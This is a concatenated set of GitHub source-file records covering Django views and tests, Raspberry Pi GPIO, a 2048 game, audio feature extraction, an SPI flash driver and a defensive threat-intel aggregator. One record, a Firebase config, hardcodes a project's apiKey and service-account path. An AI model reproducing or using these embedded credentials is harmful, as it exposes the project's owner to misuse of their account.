request.FILES)\n if form.is_valid():\n form.save()\n DeepFaceWrapper.analyze_uploaded_img()\n return redirect('/last_analyzed_image/')\n else:\n raise ValueError(\"form not valid ?\")\n\n\ndef last_analyzed_image(request):\n \"\"\"\n Shows the last analysed image.\n \"\"\"\n\n try:\n # get the last entry in UploadedImages\n last_image_db = models.UploadedImages.objects.latest('id')\n\n # get the name of the last analyzed image and its corresponding csv\n img_name = last_image_db.img_name\n csv_name = Path(img_name).stem + \".csv\"\n\n # load the csv with pandas\n csv_path = settings.MEDIA_ROOT / \"analyzed_images\" / csv_name\n df_result = pd.read_csv(filepath_or_buffer=str(csv_path))\n\n # format the DataFrame\n df_result[\"total_entry_tickets_bought\"] = df_result[\"total_entry_tickets_bought\"].astype('int32')\n df_result[\"date_of_birth\"] = pd.to_datetime(df_result[\"date_of_birth\"]).dt.strftime('%d %b %Y')\n df_result[\"creation_date\"] = pd.to_datetime(df_result[\"creation_date\"]).dt.strftime('%d %b %Y')\n\n last_analyzed_img_url = settings.MEDIA_URL + \"analyzed_images/\" + img_name\n context = {\n \"db_is_empty\": False,\n \"analyzed_img_url\": last_analyzed_img_url,\n \"df_result\": df_result.to_html(index=False).replace(\"_\", \" \")\n }\n\n except models.UploadedImages.DoesNotExist:\n context = {\"db_is_empty\": True}\n\n return render(request, \"home/show_last_analyzed_image.html\", context)\n","repo_name":"Gwizdo51/face_recognition_project_simplon","sub_path":"face_analyzer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10816380967","text":"\"\"\"This module will contain the KeyPad-object\"\"\"\nfrom time import sleep\nimport RPi.GPIO as GPIO\n\n\ndef setup():\n \"\"\"This method will set the proper mode via GPIO.setmode(GPIO.BCM).\n It will also set the row-pins as output and the column-pins as input.\"\"\"\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(18, GPIO.OUT)\n print(\"now we have set pin 18 to OUT\")\n GPIO.setup(23, GPIO.OUT)\n GPIO.setup(24, GPIO.OUT)\n GPIO.setup(25, GPIO.OUT)\n GPIO.setup(17, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n GPIO.setup(27, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n GPIO.setup(22, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\n\nclass KeyPad:\n \"\"\"This class is representing the keypad, but I am currently\n not sure what happens here\"\"\"\n\n def __init__(self):\n \"\"\"This class initializes the KeyPad-object,\n so the setup-method must be called\"\"\"\n setup()\n # A dict that uses a tupple with (row, col) as key\n self.signs = {(18, 17): '1', (18, 27): '2', (18, 22): '3',\n (23, 17): '4', (23, 27): '5', (23, 22): '6',\n (24, 17): '7', (24, 27): '8', (24, 22): '9',\n (25, 17): '*', (25, 27): '0', (25, 22): '#'}\n\n def do_polling(self):\n \"\"\"Will use nested loops to determine which key is currently being pressed.\n We will check if a key is pressed 10 times with 10ms sleep-time.\"\"\"\n row_pins = [18, 23, 24, 25]\n col_pins = [17, 27, 22]\n\n for row in row_pins:\n # Set the current row_pin HIGH\n GPIO.output(row, GPIO.HIGH)\n for col in col_pins:\n # If both col and row is high (10 times), save the values in a\n # tupple that will also be stored in a dict\n i = 0\n for j in range(0, 10):\n if GPIO.input(col) == GPIO.HIGH:\n i += 1\n sleep(0.01)\n if i == 10:\n tupple_answer = (row, col)\n GPIO.output(row, GPIO.LOW)\n return self.signs[tupple_answer]\n GPIO.output(row, GPIO.LOW)\n return None\n\n def get_next_signal(self):\n \"\"\"The interface between the agent and the keypad.\n Calls do_polling until a key press is detected.\"\"\"\n next_signal = None\n while next_signal is None:\n next_signal = self.do_polling()\n sleep(2)\n return next_signal\n","repo_name":"ingraso/Keypad","sub_path":"keypad.py","file_name":"keypad.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"48094234228","text":"import sys\n\ndef find(a):\n\n if a != parent[a]:\n parent[a] = find(parent[a])\n return parent[a]\n\ndef union(a, b):\n\n parent[find(b)] = find(a)\n print(parent)\n\ndef is_union(a, b):\n\n if find(a) == find(b):\n print('YES')\n else:\n print('NO')\n\n\nn, m = map(int, input().split())\nparent = [i for i in range(n+1)]\nfor _ in range(m):\n f, a, b = map(int, sys.stdin.readline().split())\n\n if f == 0:\n union(a, b)\n else:\n is_union(a, b)","repo_name":"yevini118/baekjoon","sub_path":"union_find/집합의_표현.py","file_name":"집합의_표현.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"36226640180","text":"import numpy as np\nimport params as P\nimport sys, os\nsys.path.insert(1, os.path.join(sys.path[0], '..'))\nfrom controller import Controller\n\n\nclass MassSpringDamperDynamics(object):\n\t\n\tdef __init__(self, controller):\n\t\tself.state = np.matrix([\n\t\t\t[float(P.z0)],\n\t\t\t[float(P.zdot0)]\n\t\t])\n\n\t\tself.ctrl = controller\n\n\n\tdef propogateDynamics(self, ref_input):\n\t\t'''ref_input is the reference position'''\n\n\t\tu = self.ctrl.getForces(ref_input[0], self.state.item(0)) + P.input_disturbance\n\t\t# RK4 integration\n\t\tk1 = self.Derivatives(self.state, u)\n\t\tk2 = self.Derivatives(self.state + P.Ts/2.0*k1, u)\n\t\tk3 = self.Derivatives(self.state + P.Ts/2.0*k2, u)\n\t\tk4 = self.Derivatives(self.state + P.Ts*k3, u)\n\t\tder = P.Ts/6.0 * (k1 + 2*k2 + 2*k3 + k4)\n\t\tself.state += der\n\n\n\tdef Derivatives(self, state, u):\n\t\t'''Return the derivatives of the state'''\n\n\t\tz = state.item(0)\n\t\tzdot = state.item(1)\n\t\tF = u\n\n\t\t# m*zddot + b*zdot + k*z = F\n\t\t# zddot = (F - b*zdot - k*z) / m\n\t\tzddot = (F - P.b*zdot - P.k*z) / P.m\n\t\treturn np.matrix([[zdot], [zddot]])\n\n\n\tdef Outputs(self):\n\t\treturn self.state.item(0)\n\n\n\tdef States(self):\n\t\treturn self.state.T.tolist()[0]\n","repo_name":"catalys1/FeedbackControlSystemsEE483","sub_path":"massSpringDamper/msd_dynamics.py","file_name":"msd_dynamics.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"22417686461","text":"import pyrebase\nclass Firebase:\n __firebaseConfig = {\n \"apiKey\": \"AIzaSyD5-FOcfZTu_FeyMaZioPEz7MLpjSTYSfk\",\n \"authDomain\": \"atujobportal-33aba.firebaseapp.com\",\n \"databaseURL\": \"https://atujobportal-33aba-default-rtdb.firebaseio.com\",\n \"projectId\": \"atujobportal-33aba\",\n \"storageBucket\": \"atujobportal-33aba.appspot.com\",\n \"messagingSenderId\": \"501965329940\",\n \"appId\": \"1:501965329940:web:3f8bd58f8e0427a2c9b901\",\n \"measurementId\": \"G-J9BRLQTB9R\",\n \"serviceAccount\": \"static/firebase/atujobportal-33aba-firebase-adminsdk-wcge9-31d51b269e.json\",\n }\n\n __firebase = pyrebase.initialize_app(__firebaseConfig)\n authe = __firebase.auth()\n db = __firebase.database()\n storage = __firebase.storage()\n","repo_name":"tmsoft96/ATUJobPortal","sub_path":"ATUJobPortal/config/firebase.py","file_name":"firebase.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"25601809954","text":"\"\"\"\n.. module:: django_core_utils.tests.test_models\n :synopsis: django_core_utils models unit test module.\n\n*django_core_utils* models unit test module. The unit tests for\n abstract models are implemented in a separate project due\n to Django not handling of dynamic model db table creation.\n\"\"\"\nfrom __future__ import absolute_import, print_function\n\nfrom django.test import TestCase\n\nfrom ..models import (NamedModel, VersionedModel, db_table,\n db_table_for_app_and_class, db_table_for_class,\n pluralize, verbose_class_name)\n\n_app_label = 'test_inflection'\n\n\nclass MyModel(VersionedModel):\n \"\"\"Sample model class.\"\"\"\n class Meta(VersionedModel.Meta):\n \"\"\"Meta model class.\"\"\"\n app_label = _app_label\n\n\nclass InflectionTestCase(TestCase):\n \"\"\"Inflection usage unitest class.\n \"\"\"\n expected_table_name = \"sl_test_inflection_my_model\"\n\n def test_verbose_class_name(self):\n verbose_name = verbose_class_name(MyModel.__name__)\n self.assertEqual(verbose_name, \"my model\",\n \"verbose class name error %s\" % verbose_name)\n\n def test_pluralize(self):\n pluralized = pluralize(MyModel.__name__)\n self.assertEqual(pluralized, \"MyModels\",\n \"pluralized error %s\" % pluralized)\n\n def test_db_table_for_class(self):\n name = db_table_for_class(MyModel.__name__)\n self.assertEqual(name, \"my_model\",\n \"db_table_for_class error %s\" % name)\n\n def test_db_table_for_app_and_class(self):\n name = db_table_for_app_and_class(\n _app_label,\n db_table_for_class(MyModel.__name__),\n site_label=None)\n self.assertEqual(name, self.expected_table_name,\n \"db_table_name error %s\" % name)\n\n def test_db_table(self):\n name = db_table(\n _app_label,\n db_table_for_class(MyModel.__name__),\n site_label=None)\n self.assertEqual(name, self.expected_table_name,\n \"db_table_name error %s\" % name)\n\n\nclass VersionedModelTestCase(TestCase):\n \"\"\"Versioned model unitest class.\n \"\"\"\n def test_str(self):\n expected = 'MyModel object None'\n instance = MyModel()\n self.assertTrue(str(instance).startswith(expected))\n\n\nclass MyNamedModel(NamedModel):\n \"\"\"Sample named model class.\"\"\"\n class Meta(NamedModel.Meta):\n \"\"\"Meta model class.\"\"\"\n app_label = _app_label\n\n\nclass NamedModelTestCase(TestCase):\n \"\"\"Named model unitest class.\n \"\"\"\n def test_str(self):\n myname = 'myname'\n instance = MyNamedModel(name=myname)\n self.assertEqual(str(instance), myname, \"invalid str result\")\n","repo_name":"ajaniv/django-core-utils","sub_path":"django_core_utils/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"40616184865","text":"#!/usr/bin/env python\nimport sys, os\n\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../..\"))\nfrom pika_demo._base import mq_connection\n\n\ndef main():\n connection = mq_connection.get_mq_connection()\n channel = connection.channel()\n\n # 配置exchange 支持通过routing_key来配置绑定关系\n channel.exchange_declare(exchange='direct_logs', exchange_type='direct')\n\n routing_key = sys.argv[1] if len(sys.argv) > 1 else 'info'\n message = ' '.join(sys.argv[2:]) or 'Hello World!'\n # 找到对应的exchange,并让其使用routing_key来找到绑定的queue并推送消息\n channel.basic_publish(exchange='direct_logs', routing_key=routing_key, body=message)\n print(\" [x] Sent %r\" % message)\n\n # 关闭连接\n connection.close()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Constellat/rabbitmq-python-demo","sub_path":"pika_demo/04_routing/emit_log_direct.py","file_name":"emit_log_direct.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10645310344","text":"\"\"\"本脚本是用来从声音(.wav)中提取mfcc特征并将数据((299*13*count),count是wav文件数),并存入二进制文件中,说明:数字是double类型不是float;\"\"\"\r\n\r\nimport scipy.io.wavfile as wav\r\nimport matplotlib.pylab as plt\r\nfrom python_speech_features import mfcc\r\nimport operator\r\nfrom functools import reduce\r\nimport os\r\nimport struct\r\n\r\nWav_input_dir = ['MADE_DATASETS/Data_wav_trainsets_Normal/', 'MADE_DATASETS/Data_wav_trainsets_Abnormal/',\r\n 'MADE_DATASETS/Data_wav_testsets_Normal/', 'MADE_DATASETS/Data_wav_testsets_Abnormal/']\r\nlist_root_dir = Wav_input_dir\r\nBinary_output_dir = \"MADE_DATASETS/Data_Binary\"\r\nclass Wav_to_Binary:\r\n def __init__(self):\r\n self.Binary_output_dir = Binary_output_dir\r\n self.list_root_dir = list_root_dir\r\n self.Wav_input_dir = Wav_input_dir\r\n self.Binary_output_dir = Binary_output_dir\r\n @staticmethod\r\n def Binary(Wav_input_dir,Binary_name,Binary_output_dir):\r\n # 检查/创建 将要生成的二进制文件上级目录(在哪个文件夹下)\r\n pathdir_bigdata = Binary_output_dir #脚本目录下 \"异常_训练集“ 文件夹\r\n b = os.path.exists(pathdir_bigdata)\r\n if b:\r\n print(\"File Exist!\")\r\n else:\r\n os.mkdir(pathdir_bigdata)\r\n filename = Binary_name #二进制文件名\r\n path = Wav_input_dir #获取当前路径(声音文件.wav 输入)\r\n count = 0 #为计算该目录下有多少个wav文件计数\r\n for root,dirs,files in os.walk(path): #遍历统计wav文件数\r\n for each in files:\r\n count += 1 #统计文件夹下文件个数\r\n #print(count)\r\n m = count\r\n list_all = [] #每个299*13=3887 将所有的mfcc数据存储在list_all里\r\n #循环每个声音文件,提取mfcc数据\r\n for i in range(m):\r\n fs, audio = wav.read(path + str(i+1) + \".wav\")\r\n feature_mfcc = mfcc(audio, samplerate=fs)\r\n mfcc_features = feature_mfcc.T\r\n mfcc_features = mfcc_features.tolist()\r\n y = mfcc_features\r\n y_ = reduce(operator.add, y)\r\n #plot梅尔倒谱系数图\r\n # plt.matshow(mfcc_features)\r\n # # plt.title('MFCC')\r\n # # plt.show()\r\n list_all.append(y_)#[:3887]\r\n #由于是[[1,2,3],[4,5,6]...[7,8,9]]类似的格式,需转换成[1,2,3....7,8,9]格式,用reduce函数转换\r\n y_all = reduce(operator.add, list_all)\r\n ##print(y_all[:6])\r\n LONG = len(y_all)\r\n print(LONG)\r\n #循环list里的每一个元素写入\r\n fid = open(pathdir_bigdata + \"/\" + filename, 'wb') #创建写入文件(二进制文件)\r\n for n in range(LONG):\r\n data_bin_images = struct.pack('>d', y_all[n])\r\n fid.write(data_bin_images)\r\n fid.close()\r\n return m\r\n\r\n @staticmethod\r\n def pramaters(dir,wav_nameber_pramater):\r\n file_handle = open(dir, mode='w')\r\n file_handle.write(str(wav_nameber_pramater))\r\n file_handle.close()\r\n\r\n def Main(self):\r\n for lis in list_root_dir:\r\n #print(list_root_dir[:])\r\n if (list_root_dir.index(lis) + 1) == 1:\r\n filename = \"Binary_train_normal\"\r\n #self.Binary(lis,filename,Binary_output_dir)\r\n self.pramaters(Binary_output_dir+'/'+filename+'.txt',self.Binary(lis,filename,Binary_output_dir))\r\n\r\n else:\r\n pass\r\n if (list_root_dir.index(lis) + 1) == 2:\r\n filename = \"Binary_train_abnormal\"\r\n #self.Binary(lis,filename,Binary_output_dir)\r\n self.pramaters(Binary_output_dir + '/' + filename + '.txt',\r\n self.Binary(lis, filename, Binary_output_dir))\r\n else:\r\n pass\r\n if (list_root_dir.index(lis) + 1) == 3:\r\n filename = \"Binary_test_normal\"\r\n #self.Binary(lis,filename,Binary_output_dir)\r\n self.pramaters(Binary_output_dir + '/' + filename + '.txt',\r\n self.Binary(lis, filename, Binary_output_dir))\r\n else:\r\n pass\r\n if (list_root_dir.index(lis) + 1) == 4:\r\n filename = \"Binary_test_abnormal\"\r\n #self.Binary(lis,filename,Binary_output_dir)\r\n self.pramaters(Binary_output_dir + '/' + filename + '.txt',\r\n self.Binary(lis, filename, Binary_output_dir))\r\n else:\r\n pass\r\n\r\n\r\n","repo_name":"Diting-li/DITI_github.io","sub_path":"CNN_AUDIO/MADE_DATASETS/wav_to_Biary.py","file_name":"wav_to_Biary.py","file_ext":"py","file_size_in_byte":4670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"6504633769","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"hypertuner\",\n version=\"0.0.1\",\n author=\"Klemen Kotar, Dian Niu\",\n author_email=\"klemen@cs.washington.edu, dian.niu.11@gmail.com\",\n description=\"A library for passing arguments and graphing with HyperTuner\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/hypertuner/hypertuner-pythonlib\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n install_requires=[\n 'torch>=1.0.0',\n ]\n)\n","repo_name":"hypertuner/hypertuner-pythonlib","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"9359264495","text":"# -*- coding: utf-8 -*-\r\nimport pygame\r\nimport sys\r\nfrom pygame.locals import QUIT,KEYDOWN,K_LEFT,K_a,K_UP,K_w,K_RIGHT,K_d,K_DOWN,K_s,K_ESCAPE,K_r\r\nfrom os.path import abspath,join\r\nfrom random import choice,randint as random\r\nfrom time import sleep\r\nimport pickle\r\nfrom itertools import count\r\nimport numpy as np\r\n\r\nLINE_LENGTH=4\r\n\r\nIMAGE_NUMBER=13\r\n\r\nclass LastStepException(Exception):\r\n pass\r\nclass QuitException(Exception):\r\n pass\r\nclass GetBackException(Exception):\r\n pass\r\n\r\n\r\nclass _loadsave(object):\r\n @classmethod\r\n def load(cls):\r\n try:\r\n with open(cls.filename,'rb') as file:\r\n return pickle.load(file)\r\n except:\r\n return cls.new()\r\n \r\n def save(self):\r\n with open(self.filename,'wb') as file:\r\n pickle.dump(self,file)\r\n\r\n##### - - - - - score - - - - - #####\r\n\r\nclass point(_loadsave):\r\n filename='point.sxm'\r\n class _subtype():\r\n def __init__(self):\r\n self.actual=0\r\n self.highest=0\r\n def __getstate__(self):\r\n return self.actual,self.highest\r\n def __setstate__(self,state):\r\n self.actual=state[0]\r\n self.highest=state[1]\r\n @classmethod\r\n def new(cls):\r\n print('new')\r\n self=object.__new__(cls)\r\n self._data={LINE_LENGTH:cls._subtype()}\r\n return self\r\n \r\n def __init__(self):\r\n self._data={LINE_LENGTH:self._subtype()}\r\n\r\n def __getstate__(self):\r\n return self._data\r\n def __setstate__(self,state):\r\n self._data=state\r\n \r\n def get_actual(self):\r\n try:\r\n return self._data[LINE_LENGTH].actual\r\n except KeyError:\r\n self._data={LINE_LENGTH:self._subtype()}\r\n return 0\r\n def set_actual(self,value):\r\n try:\r\n obj=self._data[LINE_LENGTH]\r\n except KeyError:\r\n obj=self._subtype()\r\n self._data[LINE_LENGTH]=obj\r\n obj.actual=value\r\n if value>obj.highest:\r\n obj.highest=value\r\n self.save()\r\n def del_actual(self):\r\n try:\r\n self._data[LINE_LENGTH].actual=0\r\n except KeyError:\r\n self._data={LINE_LENGTH:self._subtype()}\r\n self.save()\r\n def get_highest(self):\r\n try:\r\n return self._data[LINE_LENGTH].highest\r\n except KeyError:\r\n self._data={LINE_LENGTH:self._subtype()}\r\n return 0\r\n \r\n actual=property(get_actual,set_actual,del_actual)\r\n highest=property(get_highest,None,None)\r\n del get_actual,set_actual,del_actual,get_highest\r\n \r\n##### - - - - - pygame - - - - - #####\r\n \r\npygame.init()\r\n\r\nFONT_GENERAL=pygame.font.Font(None,24)\r\nFONT_BIG=pygame.font.SysFont(\"comicsansms\",60)\r\nFONT_COLOR=(0,0,0)\r\n\r\nclass score(pygame.sprite.Sprite):\r\n def __init__(self,x,y):\r\n pygame.sprite.Sprite.__init__(self)\r\n self.update()\r\n self.rect=self.image.get_rect().move(x,y)\r\n \r\nclass score_actual(score):\r\n def update(self):\r\n self.image=FONT_GENERAL.render('Points: '+str(POINT.actual),0,FONT_COLOR)\r\n\r\n \r\nclass score_highest(score):\r\n def update(self):\r\n self.image=FONT_GENERAL.render('Highest: '+str(POINT.highest),0,FONT_COLOR)\r\n\r\nclass large_text(pygame.sprite.Sprite):\r\n def __init__(self,x,y,text):\r\n pygame.sprite.Sprite.__init__(self)\r\n self.image=FONT_BIG.render(text,0,FONT_COLOR)\r\n size=self.image.get_size()\r\n self.rect=self.image.get_rect().move(x-size[0]//2,y-size[1]//2)\r\n\r\nclass button(pygame.sprite.Sprite):\r\n _passive_color=(0,200,0)\r\n _active_color=(0,255,0)\r\n def __init__(self,coords,command):\r\n pygame.sprite.Sprite.__init__(self)\r\n self.x1=coords[0]\r\n self.y1=coords[1]\r\n self.x2=coords[2]\r\n self.y2=coords[3]\r\n self.state=False\r\n self.command=command\r\n self.image=pygame.Surface([coords[2]-coords[0],coords[3]-coords[1]])\r\n self.rect=self.image.get_rect().move(coords[0],coords[1])\r\n self.update()\r\n def update(self):\r\n mouse=pygame.mouse.get_pos()\r\n click=pygame.mouse.get_pressed()\r\n if self.x10:\r\n while indexend:\r\n buffer[index]=buffer[index+step]\r\n index+=step\r\n buffer[index]=0\r\n self._line_length-=1\r\n def __repr__(self):\r\n return it_con(self)\r\n __str__=__repr__\r\n def __iter__(self):\r\n return _data_line_iterator(self)\r\n def __reversed__(self):\r\n return _data_line_reversed_iterator(self)\r\n def copy(self):\r\n return np.fromiter(self,np.uint32)\r\n def __eq__(self,other):\r\n ln_self=self._line_length\r\n ln_other=len(other)\r\n index=0\r\n if ln_selfln_other:\r\n for index in range(ln_other):\r\n if self[index]!=other[index]:\r\n return False\r\n for index in range(index+1,ln_self):\r\n if self[index]:\r\n return False\r\n else:\r\n for index in range(ln_self):\r\n if self[index]!=other[index]:\r\n return False\r\n return True\r\n def __ne__(self,other):\r\n ln_self=self._line_length\r\n ln_other=len(other)\r\n index=0\r\n if ln_selfln_other:\r\n for index in range(ln_self):\r\n if self[index]!=other[index]:\r\n return True\r\n for index in range(index+1,ln_self):\r\n if self[index]:\r\n return True\r\n else:\r\n for index in range(ln_self):\r\n if self[index]!=other[index]:\r\n return True\r\n return False\r\n \r\ndef _data_line_iterator(parent):\r\n buffer=parent._buffer\r\n for index in range(parent._start,parent._start+parent._step*parent._line_length,parent._step):\r\n yield buffer[index]\r\n \r\ndef _data_line_reversed_iterator(parent):\r\n buffer=parent._buffer\r\n for index in range(parent._start+parent._step*(parent._line_length-1),parent._start-parent._step,-parent._step):\r\n yield buffer[index]\r\n \r\ndef _data_iterator(parent):\r\n line_length=parent._line_length\r\n buffer=parent._buffer\r\n if parent._aim<2:\r\n if parent._aim==0:\r\n for index in range(0,parent._size,line_length):\r\n yield _data_line_acces(buffer,index,1,line_length)\r\n else:\r\n for index in range(0,line_length,1):\r\n yield _data_line_acces(buffer,index,line_length,line_length)\r\n else:\r\n if parent._aim==2:\r\n for index in range(line_length-1,parent._size,line_length):\r\n yield _data_line_acces(buffer,index,-1,line_length)\r\n else:\r\n for index in range(parent._size-line_length,parent._size,1):\r\n yield _data_line_acces(buffer,index,-line_length,line_length)\r\n\r\ndef _data_reversed_iterator(parent):\r\n line_length=parent._line_length\r\n buffer=parent._buffer\r\n if parent._aim<2:\r\n if parent._aim==0:\r\n for index in range(parent._size-line_length,-line_length,-line_length):\r\n yield _data_line_acces(buffer,index,1,line_length)\r\n else:\r\n for index in range(line_length-1,-1,-1):\r\n yield _data_line_acces(buffer,index,line_length,line_length)\r\n else:\r\n if parent._aim==2:\r\n for index in range(parent._size-1,-1,-line_length):\r\n yield _data_line_acces(buffer,index,-1,line_length)\r\n else:\r\n for index in range(parent._size-1,parent._size-line_length-1,-1):\r\n yield _data_line_acces(buffer,index,-line_length,line_length) \r\n\r\n##### - - - - - core - - - - - #####\r\n \r\nclass core(data_object,_loadsave):\r\n filename='save.sxm'\r\n @classmethod\r\n def new(cls):\r\n POINT.actual=0\r\n self=cls(LINE_LENGTH)\r\n self.create_random()\r\n self.create_random()\r\n self.save()\r\n return self\r\n \r\n def create_random(self):\r\n buffer=self._buffer\r\n counter=-1\r\n for element in buffer:\r\n if not element:\r\n counter+=1\r\n if counter<0:\r\n return\r\n counter=random(0,counter)\r\n for index in count():\r\n if not buffer[index]:\r\n if counter:\r\n counter-=1\r\n else:\r\n buffer[index]=random(4,8)>>2\r\n break\r\n \r\n def push_lines(self):\r\n counter=self._line_length\r\n for line in self:\r\n linecopy=line.copy()\r\n for index,value in zip(reversed(range(self._line_length)),reversed(line)):\r\n if not value:\r\n del line[index]\r\n try:\r\n for index in count():\r\n if line[index]==line[index+1]:\r\n POINT.actual+=1<> 16 & 0xFF, addr >> 8 & 0xFF, addr & 0xFF]\n self.spi.write(bytes([0x03] + toWrite))\n data = self.spi.read(size)\n self.cs.value(1)\n return data\n\n # Written for the 0x02 command (PP) (writing)\n def page_program(self, addr, data):\n # enable writing\n self.cs.value(0)\n self.spi.write(bytes([0x06]))\n self.cs.value(1)\n\n # check read status register\n self.cs.value(0)\n self.spi.write(bytes([0x05]))\n read = self.spi.read(1)[0]\n self.cs.value(1)\n\n # check WEL (bit of status register)\n mask = 0b00000010\n read = int(read) & mask\n read = read >> 1\n\n # writing data\n if read == 1:\n lst = []\n toWrite = [addr >> 16 & 0xFF, addr >> 8 & 0xFF, addr & 0xFF]\n for i in range(len(data)):\n lst.append(ord(data[i]))\n self.cs.value(0)\n self.spi.write(bytes([0x02] + toWrite + lst))\n self.cs.value(1)\n return 1\n else:\n self.cs.value(1)\n return 0\n\n # Written for the 0x20 (SE) (erase)\n def sector_erase(self, addr):\n # enable writing\n self.cs.value(0)\n self.spi.write(bytes([0x06]))\n self.cs.value(1)\n\n # check read status register\n self.cs.value(0)\n self.spi.write(bytes([0x05]))\n read = self.spi.read(1)[0]\n self.cs.value(1)\n\n # check WEL (bit of status register)\n mask = 0b00000010\n read = int(read) & mask\n read = read >> 1\n\n # erases data\n if read == 1:\n toWrite = [addr >> 16 & 0xFF, addr >> 8 & 0xFF, addr & 0xFF]\n self.cs.value(0)\n self.spi.write(bytes([0x20] + toWrite))\n self.cs.value(1)\n return 1\n else:\n self.cs.value(1)\n return 0\n\n","repo_name":"Marcano-Pannuto-ERSP/flash-testing","sub_path":"flash.py","file_name":"flash.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"36117601026","text":"#!/usr/bin/python3\n\nfrom .cache_utils import rebuild_paste_cache, rebuild_paste_string_cache\nfrom .binaryedge_utils import update_host_ports, update_honeypot_activity, update_torrent_status, update_domain_leaks, update_email_leaks, find_c2_hosts\nfrom .feed_utils import check_feeds\nfrom .log_utils import get_module_logger\nfrom .shodan_utils import get_shodan_scan_data\nfrom .twitter_utils import check_twitter\nfrom .urlscan_utils import check_urlscan, find_bad_refs\nfrom .virustotal_utils import update_vt_ip_activity, update_vt_domain_activity, enrich_country_hosts\nfrom django.contrib.auth.models import Group, Permission\nfrom django.utils import timezone\nfrom web.models import Host, Domain, Email, Organisation, OpenPort, Setting\n\nimport time\n\nlogger = get_module_logger(__name__)\n\ndef process_host(host, is_weekly):\n logger.info('Processing host: {0}'.format(host.address))\n\n Host.objects.filter(pk=host.pk).update(lastscanned=timezone.now())\n\n get_shodan_scan_data(host)\n update_vt_ip_activity(host)\n\n if is_weekly:\n logger.info('Clearing historic port data...')\n Host.objects.filter(pk=host.pk).update(lastscanned=timezone.now(),torrentdetected=False)\n OpenPort.objects.filter(host=host).delete()\n logger.info('Done.')\n\n update_host_ports(host)\n update_honeypot_activity(host)\n update_torrent_status(host)\n\n logger.info('Host complete.')\n\n\ndef process_domain(domain, is_weekly):\n logger.info('Processing domain: {0}'.format(domain.domain))\n\n Domain.objects.filter(pk=domain.pk).update(lastscanned=timezone.now())\n\n find_bad_refs(domain)\n update_vt_domain_activity(domain)\n\n if is_weekly:\n update_domain_leaks(domain)\n\n logger.info('Domain complete.')\n\n\ndef process_email(email):\n logger.info('Processing email: {0}'.format(email.email))\n\n Email.objects.filter(pk=email.pk).update(lastscanned=timezone.now())\n\n update_email_leaks(email)\n\n logger.info('Email complete.')\n\ndef apply_group_permissions(group):\n permission_list = ['Can view compromise', 'Can view country hit', 'Can view domain', 'Can view email', 'Can view host', 'Can view open port', 'Can view organisation', 'Can view paste', 'Can view port cve', 'Can view sensor hit']\n\n for permission_name in permission_list:\n logger.info('Providing {0} permission: {1}'.format(group.name, permission_name))\n\n permission = Permission.objects.get(name=permission_name)\n group.permissions.add(permission)\n\n\ndef check_orgs():\n group_list = list(Group.objects.all().values_list('name', flat=True))\n\n for org in Organisation.objects.all():\n if not org.name in group_list:\n logger.info('Loading new organisation: {0}'.format(org.name))\n\n new_group, created = Group.objects.get_or_create(name=org.name)\n\n if created:\n apply_group_permissions(new_group)\n\n logger.info('Organisation group created. Loading initial data...')\n\n weekly_operations(org)\n\n\ndef refresh_entities(organisation):\n logger.info('Refreshing entity data...')\n\n for address in organisation.addresses:\n if not Host.objects.filter(address=address).exists():\n logger.info('Adding new host: {0}'.format(address))\n new_host = Host(added=timezone.now(), address=address, organisation=organisation)\n new_host.save()\n\n for address in Host.objects.filter(organisation=organisation):\n if not Organisation.objects.filter(addresses__contains=[address.address]):\n logger.info('Removing old host: {0}'.format(address.address))\n address.delete()\n\n for domain in organisation.domains:\n if not Domain.objects.filter(domain=domain).exists():\n logger.info('Adding new domain: {0}'.format(domain))\n new_domain = Domain(added=timezone.now(), domain=domain, organisation=organisation)\n new_domain.save()\n\n for domain in Domain.objects.filter(organisation=organisation):\n if not Organisation.objects.filter(domains__contains=[domain.domain]):\n logger.info('Removing old domain: {0}'.format(domain.domain))\n domain.delete()\n\n for email in organisation.emails:\n if not Email.objects.filter(email=email).exists():\n logger.info('Adding new email: {0}'.format(email))\n new_email = Email(added=timezone.now(), email=email, organisation=organisation)\n new_email.save()\n\n for email in Email.objects.filter(organisation=organisation):\n if not Organisation.objects.filter(emails__contains=[email.email]):\n logger.info('Removing old email: {0}'.format(email.email))\n email.delete()\n\n logger.info('Refresh complete.')\n\n\ndef do_country_operations():\n logger.info('Running country operations...')\n\n for organisation in Organisation.objects.all():\n refresh_entities(organisation)\n\n 